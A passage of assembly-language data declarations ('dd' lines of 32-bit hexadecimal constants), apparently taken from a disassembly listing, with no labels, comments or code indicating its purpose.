dd 0BD1EDB66h, 0FDD217FBh, 0E154AAC2h, 307F5B99h, 3A06879h
dd 0C1A45B99h, 0E0F2A417h, 90C35F50h, 0B0A4CD7h, 0C916AC3Eh
dd 4D12EF13h, 9A1B4C0Fh, 0D68C77ACh, 5A80D684h, 0C8104C34h
dd 9584620h, 4F90101Eh, 5A49BB01h, 0EC4B623Ah, 0B5A854ECh
dd 0CC90F1F7h, 5C514227h, 414DEE8Ah, 5C48969Bh, 0C1EB74AFh
dd 3AFDFB53h, 9512FD24h, 93B4C5ECh, 212F5A7Fh, 2823D859h
dd 2030C5D4h, 0E2C5F7BDh, 6EF4ED82h, 0C6510A95h, 0CE4766h
dd 3470BE03h, 0BA4B4BE9h, 112162A6h, 7EB9401Ah, 9089ADB7h
dd 53BAAADFh, 623006A8h, 0B5C369D1h, 3CA732C2h, 2101D316h
dd 78698BF9h, 0FA80E9C4h, 42A98F17h, 77051A9Fh, 615DC077h
dd 36960C77h, 310B65B9h, 0D0E9C109h, 414830F0h, 0F7982B9h
dd 4F49ABA0h, 91598991h, 0D12B7C50h, 6041C5D4h, 63970929h
dd 1EA7421h, 6A657C1Eh, 6A8923E9h, 7C6724A2h, 0BF48B603h
dd 811400BFh, 260B35CEh, 3F5D7358h, 0E3F18A8Bh, 0DBB9DEC0h
dd 0C7F56F2Eh, 9B145725h, 14B0D15Ch, 846962AEh, 0AC19A096h
dd 894D6540h, 84D2F7A0h, 66094BE2h, 0EDCEED2Dh, 0F4C86A1Ch
dd 9DAE70D2h, 78F79CF0h, 86CBA142h, 7CC5BF00h, 5E383027h
dd 26E0B136h, 0C88003F6h, 98B65201h, 5AF12DBFh, 0B26508F0h
dd 37EA6A84h, 0DC2193D4h, 3C23705h, 1B8ED588h, 91E11C1Bh
dd 45E3F1B7h, 0E9827E01h, 5CC2CA30h, 0BE68F0F2h, 57198B93h
dd 0D5745948h, 0CC6D4BA4h, 649E28DAh, 385EE24Eh, 42AAE27Eh
dd 55080911h, 0AF12970Dh, 88D5602Dh, 56C1C902h, 568428Ch
dd 66756E5Bh, 0A4E93484h, 5B8BB660h, 0E91513CEh, 96918D55h
dd 0D81005B3h, 21BC5E99h, 17532C64h, 7CFC41EBh, 0DB22CC70h
dd 713F1CFh, 3BC1D15Ah, 0E5C06707h, 39B55499h, 0E8E6ED96h
dd 0F8201701h, 680BBECBh, 0CED91B1Dh, 0C806348Ah, 96978396h
dd 7EFB3B62h, 0D55C691Fh, 62516850h, 0B0AC3B07h, 0C0B70F01h
dd 0CD6B57F5h, 0FFE2E2C5h, 3B261857h, 0F41CBD82h, 7620B902h
dd 40317FCBh, 0C1EB6305h, 52C7F52Bh, 0DEA02AFEh, 0FB1002BEh
dd 58C5297Dh, 0F56FE85Dh, 66111828h, 4D512469h, 0F76B7F07h
dd 22212DD8h, 4CD430A0h, 0ABA096Fh, 0AC02E883h, 0BA7DC2C3h
dd 3253761Fh, 0A5C15D0Ah, 46FA0545h, 97D68273h, 0FFBDEE4Bh
dd 0CF73277Bh, 9D607AE8h, 95C9D13Dh, 92FE350h, 41BE0F5Ch
dd 390DF42Dh, 0B40B4894h, 0F53E9182h, 0D7CF1Ah, 0B06EEF80h
dd 89E91869h, 0F9F78FBDh, 3973F114h, 189725B2h, 316850F1h
dd 3855237Ah, 0D1F701A0h, 0DE2363Fh, 20C495D4h, 0DB6812BAh
dd 50B53115h, 2610E857h, 5F417A14h, 92EC5E8Ch, 0E8980801h
dd 0F1F88905h, 4BF76C50h, 2DE9CDF4h, 2674DA27h, 0C1186BEFh
dd 0AC305CFDh, 0DCC6BF0Ah, 0D4455369h, 0AD22A603h, 9BA1B5E8h
dd 72885280h, 0ACF55BC6h, 94EF2561h, 2AD89D56h, 5A978E54h
dd 39ED832Ch, 7F4E864Fh, 4837E2EDh, 0C1128356h, 555428CEh
dd 415BCFF8h, 3E6DB620h, 0ABF1ED7Ah, 0AAC77FD9h, 4817C80Eh
dd 2CC11235h, 0F88309DBh, 5749B120h, 41F44CBFh, 502B1A49h
dd 0E05B0F6h, 6FE90266h, 0E22B30F1h, 7F688233h, 3A4DDF5Fh
dd 0E92606A2h, 0DEAD8858h, 9568780Bh, 29CC3C5Ah, 0A0CD5CBFh
dd 685650C0h, 593F4266h, 6E749364h, 798610F4h, 41D5EC5h
dd 0CEFC2C31h, 40783CF3h, 927DEC58h, 0EE313986h, 0AB08F534h
dd 84B8C313h, 2C41884h, 7D4BDA68h, 0BD25D9EEh, 4FA5641h
dd 0F832EE68h, 0C0F4C4A4h, 0DCE00012h, 4A2D2175h, 42DAF71Fh
dd 7D6B5DCCh, 3F5397CFh, 0F6A2B209h, 0A1575ADEh, 120D68EBh
dd 0BF013555h, 629B036Eh, 8035C92Fh, 4460C39Ch, 90EB090Ch
dd 9DCF5E02h, 209B80Eh, 735DDF05h, 388F712h, 0B4591207h
dd 1A5B2C32h, 49F3EB0Dh, 0DFBCF23Ah, 1E3C71CDh, 10ACF67Eh
dd 881D6C32h, 0B453D3E2h, 6D637FC3h, 4AFACB8Bh, 0A205FB9Fh
dd 91AEC681h, 385BE956h, 504B582Ah, 78107774h, 10447E2h
dd 0C0238046h, 0E04CC1B3h, 257AEDFFh, 79F27B36h, 799AE8D3h
dd 0FC6FE80h, 805FB151h
dd 0C92D7C7Fh, 7EF4B389h, 12413E1Dh, 0C1307934h, 0CED158E9h
dd 0A9122C3Fh, 0EDEC9A41h, 1F1B1636h, 0A3030725h, 6D8B1972h
dd 2BF2025Fh, 596601C1h, 4DA12E88h, 756A46F9h, 0E353ABCEh
dd 5A26ABA9h, 12C980B6h, 60BA20EBh, 0FB68FC02h, 4B5EF201h
dd 7511A0E3h, 0C5EA0481h, 0AA422752h, 2608E250h, 8410F85Fh
dd 1C1EFC4Fh, 32FB1AE6h, 0D10645h, 7075E9E4h, 85413DB4h
dd 0F32F64E2h, 25F29363h, 0E6C988C5h, 20DD48E2h, 4BD4FE32h
dd 0E1108977h, 5B1D24E3h, 3B4D92A0h, 2E627AB4h, 77450F67h
dd 6BEAE728h, 70AEFE7Ch, 2584BE56h, 0FA8919E9h, 7B9595F0h
dd 0E644A75Ah, 0B450C3C0h, 0C6E68863h, 878AE96Bh, 4C3C31BEh
dd 13A84A44h, 351011A2h, 0E300824Fh, 0BB22553h, 6B87295Eh
dd 1F7DB910h, 31752F06h, 845D8BA4h, 2D0C1E19h, 0F7970CD6h
dd 0A945B4E1h, 0C17074EEh, 4B7CB02h, 0ADE283BBh, 76E236C9h
dd 7FAB806Bh, 0FBE93633h, 0BACE003Bh, 55120FD6h, 8CDC2169h
dd 818212DFh, 846F79F8h, 0E4128195h, 0F5F45110h, 0BE317F4Eh
dd 2901AB59h, 2E4731D3h, 0E8AC0D53h, 0DF68E24Eh, 62D6CA25h
dd 0A8E2561Bh, 0A6F04E56h, 7E751607h, 97C039ACh, 0E93C2E3Ah
dd 98B89427h, 4EEB8883h, 6F96C78Ah, 0BEE90878h, 77C1D76Bh
dd 0C581BC30h, 6148EA97h, 0C3A8DBA0h, 0CE0126D2h, 6102CBD5h
dd 89D46725h, 0DB17C55Bh, 0BBE96D80h, 4B129E63h, 0D27DEB49h
dd 0E0519B74h, 0AC4B856Dh, 0E9E95B89h, 0E263F85Bh, 0EACFD8ABh
dd 24395DB5h, 9926454Bh, 20E9D9CEh, 2EF9B97Ah, 2D7EE08Eh
dd 0D69C8DD3h, 0A0F7D6FDh, 6294EA74h, 0BC524BDAh, 0E22473A2h
dd 0D513D808h, 0B6C0F7E8h, 16B6819h, 3786DF58h, 0A6629FA8h
dd 0F2879B4Ch, 0BEFC48FEh, 1D6C13A4h, 12CDAD26h, 358D643Eh
dd 21ACA76Fh, 0FF361AA3h, 2C266FDAh, 2053A7FAh, 0BD049D7Ah
dd 0AC6251Bh, 0C52CA4AFh, 68D9A19Dh, 212E093Bh, 2D9D681h
dd 0E89285ACh, 0BCE3A037h, 0A26960CBh, 3A5F79A0h, 8008589Fh
dd 4814E907h, 0BDEDE6Ch, 0D21063E7h, 7A2D230Ah, 6121C22Eh
dd 0E6D0A861h, 3F05E248h, 0D42F19E7h, 0EEE6B9D8h, 10A41BB7h
dd 13F227EAh, 8463595Ah, 0B35398B5h, 0D5E92F9Eh, 2A855563h
dd 44A2B001h, 9E061812h, 8CA80880h, 80356780h, 117C90DAh
dd 31CE2D20h, 56189F8Bh, 0CC088C5Dh, 40F918E5h, 8140A71Fh
dd 1729C43Ah, 34D81D4Ch, 806C0A08h, 2807204h, 1640C4B2h
dd 7735065Ah, 0F6E63110h, 88431708h, 88B3718h, 0B5187CE7h
dd 0CEAE2061h, 838AC10h, 18C62232h, 62C1914Ah, 0A0310878h
dd 737D9C03h, 14624028h, 6CAB8640h, 9DF9919Ah, 83083162h
dd 6E050317h, 40B4D131h, 888E387h, 58159765h, 5A571094h
dd 8E3843Eh, 38192C45h, 8F089344h, 739A02F6h, 3857702h
dd 813108CBh, 796C38FCh, 956FB301h, 10989010h, 0F91857A7h
dd 8B9508D2h, 52C718C6h, 0EB4D3108h, 95DEB318h, 10CC4408h
dd 3C108E1Ch, 0E60A195Fh, 79882C20h, 170C753Eh, 40ED0853h
dd 41C64CD1h, 20106319h, 93209DCFh, 0B68631C8h, 882B8E08h
dd 1FDC7D18h, 6F206074h, 0D3EE2056h, 100DC831h, 8801E871h
dd 89250196h, 6CD60888h, 183A3408h, 4CCC4129h, 801EEE80h
dd 37808BACh, 3C08C97Ah, 44506025h, 69853DCh, 202096A0h
dd 5E20335Dh, 720B319Bh, 32A5B18h, 0EA49106Eh, 0E4372A23h
dd 0E1E98A62h, 26A0271h, 829EC0Fh, 18A76651h, 0A8332959h
dd 187AE118h, 18CC9008h, 8C6C907h, 54189956h, 406FD068h
dd 0F7632875h, 2ADD1B10h, 20CCF608h, 76205093h, 0A84C20BDh
dd 8CB0431h, 5102C3FBh, 6A9AA8A3h, 5CDB0824h, 10C7ED8Ch
dd 0F13F4147h, 0AF950192h, 19A08190h, 21085C34h, 44D91992h
dd 0A7C0304h, 2F8CF48Eh, 63CD08C0h, 57FF3048h, 0E9B00812h
dd 98F18C58h, 0C6C49290h, 10600219h, 19F18E62h, 642503E6h
dd 51B61018h, 0C4A4BF08h, 4100918h, 0B7091FEAh, 86240822h
dd 493BBE02h, 79017118h, 1AA90358h, 7145D931h, 248F1049h
dd 586241C0h, 2159710h, 0E503D03Bh, 8D592065h, 9979AB32h
dd 0FD710395h, 790E149h, 0E8FC9C60h, 457F109h, 0D34AF5EFh
dd 23C7C793h, 1000480Dh, 752C473Bh, 6313EB02h, 0A7B90E89h
dd 5003D7Ah, 408F4401h, 0BC90B49h, 748BF775h, 0DE81AF0Eh
dd 2EB9F003h, 0C033EE47h, 4FB10F80h, 0AC2CC030h, 6EE99204h
dd 2DA2FA4Ah, 2CDE312Ch, 692D00E6h, 0A4E9E43Ah, 57484662h
dd 5F288BBFh, 51350A80h, 785B9FA6h, 5672F9F1h, 68794196h
dd 747DF95Bh, 317772D7h, 162D11B8h, 0A5AB73E1h, 0AB08C9D9h
dd 685A02FFh, 2D747C71h, 8580C967h, 6152E936h, 0FE2D9634h
dd 0DD62E560h, 0A8A23AC3h, 5339EBC0h, 22C541FBh, 0A74B3FE9h
dd 0D4105789h, 4EC0215Eh, 6058AABEh, 6746F46Fh, 62541447h
dd 0B7D66ECBh, 0C3CCFF96h, 0B9510250h, 463E4372h, 0E9043E74h
dd 0F4F4F2DDh, 0CCA62BBh, 238BC268h, 539F10FEh, 964209FDh
dd 77A37F10h, 784F25BDh, 0BC2BE329h, 176882A3h, 7DE65D26h
dd 222388C1h, 253B3F82h, 9A8EEED8h, 39511440h, 5892D189h
dd 7D16D859h, 0B82EDD60h, 1C35B23h, 79FD355Ch, 0E32D576Dh
dd 0E8706BB9h, 0E127533Bh, 0A6DD016h, 725C41DBh, 0B56878C6h
dd 1CA8444Fh, 0CCD301B4h, 3B516E0Bh, 80488B5h, 21FF8BFBh
dd 2458281Ch, 16965101h, 6884D8C3h, 0A547EB2Dh, 0AB0B1A80h
dd 1EFED64Dh, 0A8E5092Ah, 40F76C62h, 0CE6521DEh, 0C6E4D926h
dd 1561AFF9h, 4D8C0952h, 0E5B71242h, 0A77FD13h, 7200E385h
dd 87E93D6Ah, 0B422C7D0h, 0EB6C7E22h, 0C3A684Dh, 5EEE4A5Ah
dd 98235ACDh, 5127A4FEh, 22E96285h, 67BFE4D0h, 438018F7h
dd 5D18EA89h, 6458CA29h, 7D48BFB3h, 59627C04h, 0C7AEF16h
dd 15E34038h, 48B48244h, 907F5B0Bh, 3FEFC1E0h, 0EE904704h
dd 702925C7h, 747C0280h, 0D687679Ch, 997E60F7h, 5FEF3083h
dd 0A27958A6h, 0BCE5154Fh, 0B8210805h, 84C370D1h, 12FF8AABh
dd 84B91C89h, 4E4CE9A0h, 0F15A0AC9h, 1418BE77h, 685818D6h
dd 46104F27h, 0DB5624B0h, 0F00162A0h, 0EF37764Eh, 6D52FA44h
dd 838ADCFDh, 25371A82h, 4DE5DC1Dh, 14006792h, 5D195BB2h
dd 1080E349h, 0C8E5A84Ah, 5967CF09h, 1FF7CA2Eh, 16AB522Bh
dd 0FA7342FBh, 28A1B301h, 3DEC647Dh, 49EB9145h, 0FAF349C3h
dd 569CEABCh, 25683A52h, 0C4C8AB2Fh, 5527E956h, 0F4FE82Fh
dd 768C3D4Ah, 2D6C9290h, 4C53B159h, 0E16B0B25h, 55323B22h
dd 0BA816851h, 0E61D1414h, 3702F313h, 56576355h, 4972AB81h
dd 0EC287E6Bh, 5EF22531h, 22C0EADEh, 1670B560h, 0ADE9D629h
dd 535C00DCh, 4EEDBE56h, 0E1A48ECh, 13B11404h, 4B70ACE5h
dd 680C0FB8h, 9D9B3DB7h, 39804140h, 0EF9E4ACFh, 278DDD2Fh
dd 7CC98679h, 97FF485Dh, 29A7F083h, 0A98A7FEDh, 5A7EA34Ah
dd 38F6BA4h, 68487467h, 87136305h, 5520EAC3h, 5A9C1D8Ch
dd 0D65CD2B3h, 70154745h, 98A04FEEh, 60BD3805h, 0D814A858h
dd 0EE7C072Dh, 44B83A22h, 0E230578Bh, 0BFAE1E02h, 43C68001h
dd 0F673F6CCh, 7A5E4117h, 5FC13E82h, 6E72E118h, 46716D05h
dd 90BFE6D1h, 0D45CA1A8h, 0A6E95D09h, 0D132A53Fh, 0CB78C6EEh
dd 1F29ED48h, 0EED302F2h, 0A1E4AADDh, 6A3C2518h, 80308DDh
dd 0E9267720h, 309D7426h, 9E5F903Bh, 4D18F24Ch, 97C34990h
dd 3B361313h, 0EB730AFEh
dd 24283708h, 0F83BD537h, 0E0332F0Ch, 261A2D55h, 5F1F96Ch
dd 4D75CB8h, 5FA7D83h, 88BAEB83h, 0F5409CE8h, 84000BFh
dd 0CF812CB7h, 31D50EAh, 0F7C04701h, 43D7285Eh, 0E1B125E9h
dd 0FC061677h, 55DCAA88h, 690C271h, 14DCBD03h, 3CD30E59h
dd 0F180730Fh, 8AD009D8h, 8249E6C2h, 0E44DF0FBh, 0B5A92001h
dd 0A5015A2Ah, 219D8FA4h, 3EC7E95Fh, 0EEC14286h, 0F00F2408h
dd 0C430B85Ch, 88AEC374h, 8C796814h, 0DC699B9Fh, 0ECF18AD4h
dd 8470A33Ah, 65B8F8B5h, 2D09F8B4h, 4C681A31h, 201C9A8Fh
dd 0E095E58Dh, 1D40F1B8h, 814C5575h, 20652FC9h, 14B43068h
dd 79FE5B80h, 1463D3C7h, 8A31C942h, 20545506h, 0BF484E4Ah
dd 33E38143h, 34EC5786h, 0AA16D652h, 459C1B71h, 0C6C88F44h
dd 67575442h, 4B6B33E9h, 0E8B25020h, 212D4E5Ch, 6AE56826h
dd 60671748h, 27F57D6Eh, 0CE984D44h, 0B878C501h, 9E9AAC2h
dd 944F2E6h, 353119F8h, 0DF68906h, 5D5A89B5h, 29A3A699h
dd 0D682770Ch, 0E01353D2h, 74BB06D4h, 0E915715Dh, 352DEFC0h
dd 4AA0E653h, 3E21F189h, 0EEA4E0E2h, 0C3EF7584h, 3FCE1656h
dd 996E150h, 0B2595881h, 51055568h, 0BF1D37E9h, 5A6885CCh
dd 9374E3B3h, 0B96E22BEh, 52936801h, 0D3D1B27Ah, 20C869BEh
dd 90C90C96h, 55C05F5Fh, 659DEEE2h, 7CE94175h, 108A32DDh
dd 4F50E69Ah, 0A8604F04h, 59CB12BAh, 5484DBADh, 4CDFFE5Ah
dd 1220E058h, 16C8302Eh, 4A8C7CE2h, 0FE645F2Fh, 44D35F6h
dd 3CE44CB1h, 4C9C5AD9h, 12B80250h, 5298374h, 2DFD840h
dd 2E0525EAh, 97E94A62h, 52010BBFh, 9FCC0871h, 258212E9h
dd 1FC8EE01h, 0E8C24E41h, 0C6E3E792h, 351C0550h, 0C1CA0CA3h
dd 0A0FD113Dh, 5D0AE0A1h, 8C234E32h, 0E0BD07A0h, 2490C5DAh
dd 27E70CFh, 2A16773Ch, 88207C4h, 3889967Fh, 3917692Dh
dd 4009F81Eh, 0D826E907h, 30428CEDh, 0A180076Fh, 2AEA0861h
dd 43F434F8h, 2E66E982h, 0DE29FE1Dh, 0E07D7CDh, 8BE5407Eh
dd 8991C948h, 0E7C2EF60h, 14D1B78h, 4CBB5320h, 600A7235h
dd 0CE000B42h, 0DF29F27Bh, 928459E9h, 2FE02061h, 1E4D01F4h
dd 0FFE3295Fh, 5E6D08h, 6615B1B8h, 0F2B7893Ah, 26FC3596h
dd 4444BE8Ch, 3D587F70h, 0FD828BCEh, 307E1AE1h, 4C63D056h
dd 809F2C34h, 0C3B753F0h, 5A5BF80Ah, 0C7DC8DAh, 48384EE0h
dd 446B76E9h, 0EE261A78h, 0A6BEFC78h, 0BD81F076h, 63D61E38h
dd 0F04AAB78h, 711D0ABDh, 28BC015Ch, 42CE08C7h, 1B51AE1h
dd 7CAF68BCh, 1D038051h, 0EEEE6A24h, 3B3441FAh, 5A11C10h
dd 77145E64h, 0C329C2EEh, 1E5A0886h, 0DA4E8B07h, 82D90132h
dd 240592Bh, 9F560EB3h, 218D748Bh, 5053D02Bh, 0D73A58E9h
dd 6AD689FCh, 48315B51h, 6642DF9h, 62BA832Ch, 2C1B561Ah
dd 6AE9C165h, 0AC902BA5h, 12B470A3h, 80CD2141h, 407E80D7h
dd 1EAB144Bh, 0DE66E72Fh, 0FC6242A1h, 0AB76C3Eh, 1A30A2FDh
dd 3C005ADh, 2D1A4446h, 2C9A63BBh, 4C7FF1E2h, 610D82DBh
dd 0CACED0FFh, 81FB5581h, 0D1010D6Dh, 0EEB0103Dh, 3F4E9430h
dd 2B0B9A4Ah, 5955950h, 0B82BAFE9h, 5F37DC17h, 0D91089DFh
dd 23A88A4h, 0EAF2A0B5h, 0AFBD55C4h, 2814D3CCh, 78E6735Bh
dd 845E5EAh, 0A35BBCE9h, 2570D473h, 0B0BFE4AAh, 2F922725h
dd 0F5627F74h, 0E7C00195h, 3069E08h, 0AD7786CBh, 84239804h
dd 14F15C8Bh, 254AE941h, 2ADE2AA7h, 8DC655C9h, 0EBD6D39Dh
dd 0B94C9822h, 3FF4C757h, 0CA54BA3Dh, 88E0FF2h, 56F0AA7h
dd 6849C872h, 7B4DC52Fh, 167D490Ah, 0FFE7BFDCh, 5B30D4ADh
dd 0B252A901h, 0ABF28039h, 0CA43C07Fh, 66E6FE36h, 7E14E5FDh
dd 0F21698B3h, 0B13B974Ch, 0EC433C44h, 0CEC931C8h, 7088C45Ah
dd 9B2EE137h, 692C2DA9h, 0B26B5D21h, 0E0CC92F7h, 17284FE9h
dd 94DBF9A6h, 0C118105Bh, 764C680Bh, 383207F3h, 9FAC5E2h
dd 3268FA86h, 58806D1Bh, 5F8DC257h, 2140EFC1h, 0BF807287h
dd 0D755394Ch, 0B8090758h, 33F0D009h, 1E23660Bh, 3C1ADF60h
dd 0E49360F5h, 49CD9CD8h, 0F1DF9BD5h, 9C29676Fh, 0B97F5F25h
dd 10D35C07h, 268F22F7h, 0DF0C8052h, 2F43CD96h, 0D6DB42h
dd 0DDFC1B16h, 3075EBD7h, 0E55B244Fh, 0E3217BF8h, 0BA00A932h
dd 5242D42h, 19011956h, 31C6914Ch, 0F54C807Ah, 4295044Dh
dd 6B7C5934h, 57025400h, 753BCCBFh, 0F9291325h, 308C2DEBh
dd 33255385h, 9D85871h, 0BEB718C2h, 3865F381h, 6A5DCEECh
dd 59080538h, 688728EBh, 18E31152h, 0E0876062h, 9FD4C908h
dd 246FCC7Ch, 9F8C35FBh, 6790F68h, 37A57E36h, 0DBFA9318h
dd 23858406h, 9806BA0h, 0F3834224h, 0A80BB05Ch, 630F5459h
dd 1003A1F1h, 0CF5EBDBBh, 4FF0A02Ch, 2D157F1Ah, 0A1E4455Ch
dd 0F030405h, 0A6B52E89h, 0C4944F1h, 9C41E273h, 84498A3Eh
dd 1CD01E53h, 517CC3F6h, 0E02BCF48h, 28627919h, 65D0211Ch
dd 0C44AFC9h, 4DE7E917h, 120124C8h, 0BD665E46h, 0FFC1610h
dd 6C0BDB56h, 2E2C276h, 0BFD85A9h, 0C1EEE025h, 3851B761h
dd 0E5129FE7h, 25857C37h, 4E87984Bh, 6070FCCAh, 0A2CDE321h
dd 2F24853Ch, 0B9073C4Dh, 767BFD3Fh, 0EDE90606h, 96BA8435h
dd 3BC36230h, 2DCDFBC1h, 8676F593h, 0C4224D40h, 1E2FE3Dh
dd 77216FC7h, 697D34E9h, 7F9655FBh, 8D85BFB3h, 3261AAF3h
dd 3C126BBFh, 0E995A2DDh, 0B5825845h, 7235F4F0h, 0E1F90E3Ah
dd 9C082065h, 0FD272924h, 0E0E9545Fh, 48C9CD95h, 4246FE95h
dd 0CCF57B4Fh, 1744305Bh, 50EDD112h, 6F35B804h, 10BC20A7h
dd 0F885813Dh, 0BA083F0Bh, 59C7AE2Ch, 0F4A719D7h, 81D6D4DCh
dd 810E7898h, 3A0DCE2Bh, 0B92A19BEh, 0F8C60311h, 94E601C1h
dd 0E9CB20EEh, 48F738CFh, 1E483D58h, 0DB04D304h, 50007902h
dd 0B15137B4h, 3328884Fh, 0F6614CB7h, 0F65D285Eh, 3234B4A1h
dd 163A0B5Dh, 6D35A036h, 2D1D2F05h, 5B8B29E9h, 71581E7Ch
dd 60609E54h, 657717C1h, 1662BA75h, 85CA310Ah, 6A886661h
dd 4DFEEE57h, 0F05BDAFCh, 5412875Eh, 1CB95D9Ah, 8921E7C5h
dd 625B4190h, 72CF4063h, 80B8DD49h, 0FB9930E7h, 1B435905h
dd 0CDBADFF7h, 76CBDB44h, 6FD661C1h, 74E993E0h, 524597AAh
dd 59C1123Eh, 0B1026DA3h, 256CE405h, 2C459460h, 30024076h
dd 0E938F815h, 5C750FDh, 98046805h, 685AA1Ah, 8BB5D0ACh
dd 18F34A18h, 5F20C820h, 49988809h, 0CC088003h, 0B5953CBh
dd 52B5F676h, 7DC451F1h, 17C0F294h, 25BC3DC5h, 725E2968h
dd 2AFA0820h, 5C26026Ch, 0B8D040ADh, 0EC76A705h, 8D892D57h
dd 67FBC13Ah, 62247AFCh, 79B907EBh, 43565C3Eh, 1195E813h
dd 0E542F9ECh, 0ABA6134Eh, 0B04A4B9Eh, 0FF32E97Eh, 5D5D901Bh
dd 123E46F9h, 77A8302Dh, 0BF421AA1h, 68C3040Ah, 509852AAh
dd 0C447131Dh, 64A38059h, 2B17B054h, 4704EAC1h, 0AF137E17h
dd 61C43612h, 8CB9C30Ah, 0E0D7908h, 1DC2BE56h, 0E2405C71h
dd 8CB45D78h, 9747708h, 0C9DED0F7h, 0FF710939h, 9057F00Ch
dd 0CEF4FAB4h, 0DAC08024h, 0B652C1FEh, 0C60A5678h, 0BBD6F6E0h
dd 0B04BC537h, 3C9EBB6Bh, 0AC5E9C13h, 1EE982FCh, 3CB9006Bh
dd 12653A48h, 61EAC958h, 6B361B9Fh, 950FFD31h, 24F79C2h
dd 0D328CAB2h, 0F2A5D451h, 9C989A73h, 0EB80F8C7h, 0D528F725h
dd 920B2E04h, 7F7FEE6h, 176E273Ch, 0E6923927h, 0D5F7B280h
dd 51BDC06Eh, 0EC712FBCh
dd 16CA044Bh, 32A28ABh, 8ABD5B4Eh, 0E189C5CFh, 0C0020562h
dd 1E7FFA94h, 482EFE62h, 0F1B12ACCh, 69BA00E6h, 0E0365F27h
dd 2B734041h, 0E1C15212h, 48030DA0h, 0B04F5883h, 65E4D716h
dd 0FA17D92h, 5FBA538Eh, 55E0E2FAh, 7B7E90EAh, 0C425337Fh
dd 2534469Ah, 31580CE8h, 84339721h, 17E280E9h, 0A6F81729h
dd 0B60AC1ABh, 0E4B2B5A7h, 0D3C019A2h, 916934C5h, 0C00B802h
dd 4F3B18F2h, 0D024518h, 0D9E97476h, 0D4C5FF43h, 0EF02B0A4h
dd 0C33B4154h, 83D011B2h, 0AB365EE8h, 590C9CA7h, 1C04EB51h
dd 75D05E9Bh, 7E910ABh, 803CE912h, 87D3F72Fh, 134EDE3Dh
dd 0FADFB3Ah, 7E43C525h, 0C1780C25h, 0F32F5819h, 13E140D6h
dd 0A00DB548h, 95CA2166h, 0F6520AFCh, 1E9893A6h, 5B96EADFh
dd 0B1CDC88h, 0EB9D34E3h, 9C607E09h, 8081721Dh, 4FC6E908h
dd 9390F62Eh, 16E58953h, 0A82ECEE1h, 4BC5D0FBh, 2E882DFBh
dd 98BBBD81h, 6C6310BEh, 92251CA6h, 518B95Fh, 0C74252FCh
dd 3282C1Eh, 84A504D8h, 538BA04Fh, 0B1E0544Bh, 4F1BE860h
dd 0CF02E556h, 0AE060A2Ch, 4E7F0A01h, 813A091Dh, 4D3EBFDAh
dd 76EC2FE7h, 0A55B1EA1h, 7007887h, 0FB76FFEFh, 0E13FE215h
dd 0BF834E5Fh, 0EF47C4F2h, 0E0E99D44h, 5916C9ECh, 0DF899AFDh
dd 8F620832h, 0B0A0C55Dh, 7954F932h, 85D54869h, 0C3D09380h
dd 123DBA52h, 0B07C828h, 5B98021Ah, 8030D4B1h, 5E4F4C1h
dd 0EF719E01h, 1808A586h, 859C479Fh, 82F9F766h, 0DE0A301Ah
dd 35B00543h, 0AA3A83D3h, 9675A261h, 2DEBFF55h, 0ABBB0527h
dd 0CB3EC79Dh, 0B828443Eh, 0B46EA441h, 0CB6225E9h, 43CD3110h
dd 3A16C884h, 2B147E44h, 2F34C84Bh, 0A54FADECh, 0DFF2DB13h
dd 58EDA910h, 0EEEA026Ch, 0DE6C3574h, 9508A089h, 2A6C665Ch
dd 0FD09059Bh, 0D5D1E91Eh, 13DCAC98h, 2CEAC889h, 60AE94Dh
dd 98672F05h, 5B5CF501h, 40DB293Ch, 0EC52081Ch, 0C2D4922Ch
dd 55092D72h, 342E9BFCh, 4604870Bh, 52C8341Fh, 8A25BFF5h
dd 19091C01h, 1D2958B0h, 690F3101h, 40E7D14Ah, 3250700Ah
dd 0CAE9461Eh, 64775CA7h, 2A92F1FDh, 0F33E0FA1h, 9CB25AFDh
dd 0AACB9C6h, 76415E27h, 26784E24h, 0D3096F6Bh, 4CA312Bh
dd 411F1126h, 0E521A1F7h, 0AFF8E11Ah, 0F6360F2Eh, 3B5EBECh
dd 0C9605C0Ah, 0AC64E1ECh, 3C0BE5C0h, 0D37CA12h, 17021C08h
dd 9111D85Dh, 0FB05C068h, 784E0803h, 488832EFh, 0E3EEFCD8h
dd 0F38B639Bh, 0B59F35Eh, 0F8DEA98Ah, 0CEE65F49h, 5ECD6817h
dd 0B151DE30h, 0CE8809B9h, 0A3208DE9h, 49536850h, 1D294FC4h
dd 65E90423h, 28322B35h, 0C5574B0Fh, 1CA728D9h, 747080D6h
dd 65501821h, 8FE90247h, 55D0C0ABh, 3217C168h, 66E463CBh
dd 1EADFD90h, 18359E6Ch, 6CED75ECh, 52D9680Bh, 151AB0FDh
dd 0C13414A1h, 0F502FCE5h, 508A8C84h, 229CC80h, 0D4A07EC6h
dd 8677E951h, 0B9817DB2h, 3AB13FEEh, 93D05021h, 0DEB6030h
dd 4A9C76E1h, 0C5FAE914h, 88F9D3A4h, 0D7168C2h, 273BC5F7h
dd 66C20CFBh, 1E7283FFh, 0F6BB841Fh, 715927DAh, 0CAE2E92Fh
dd 64471891h, 0CDEC55F1h, 0FEF52341h, 0F45FD998h, 63C13EC9h
dd 923B80C6h, 56F7D9F7h, 0DCD451ADh, 0FC442989h, 427367E0h
dd 8271147Eh, 0F8685743h, 956FCD16h, 0D509C273h, 0F773A39Dh
dd 0E3C199DBh, 0F381B9F3h, 547031F9h, 20BB8193h, 0F7AFD5Fh
dd 45C44C4Ah, 527A9AAFh, 3681914h, 647B5414h, 500E90B4h
dd 61016852h, 5A5DBF66h, 0A630DAF7h, 0C67F1302h, 7C9F0062h
dd 0E9C48D9Ch, 4CCD6A35h, 7E91CAAEh, 0AB84130h, 97436C68h
dd 19F0431h, 0B03F0F04h, 0C54EEE15h, 0DA30390h, 0C07D605Eh
dd 66B24CE7h, 188AF8BFh, 28392EE9h, 0CFE086B7h, 95484AF2h
dd 62BBD30Eh, 7BFA4464h, 0F6DFD42Dh, 4968509Ch, 516A30BFh
dd 9255AA11h, 9A517545h, 2DAF54C9h, 17EA217Eh, 28EE2C17h
dd 5D7DCB4Ch, 1E197458h, 649D5707h, 416ABA4Ah, 0F689509Fh
dd 8C6254EBh, 0DACD8126h, 9AA85B4Ah, 0D686ECA4h, 9CDC86C1h
dd 0EFEC8000h, 82975CB0h, 0C2C388EAh, 0BE30E077h, 85D414F7h
dd 0F125FBFBh, 0F05FA9C2h, 0A8BB435h, 0C935B896h, 615B6A05h
dd 33EB3C99h, 80813B7Ah, 6B3E5282h, 1757D329h, 0BAE885E9h
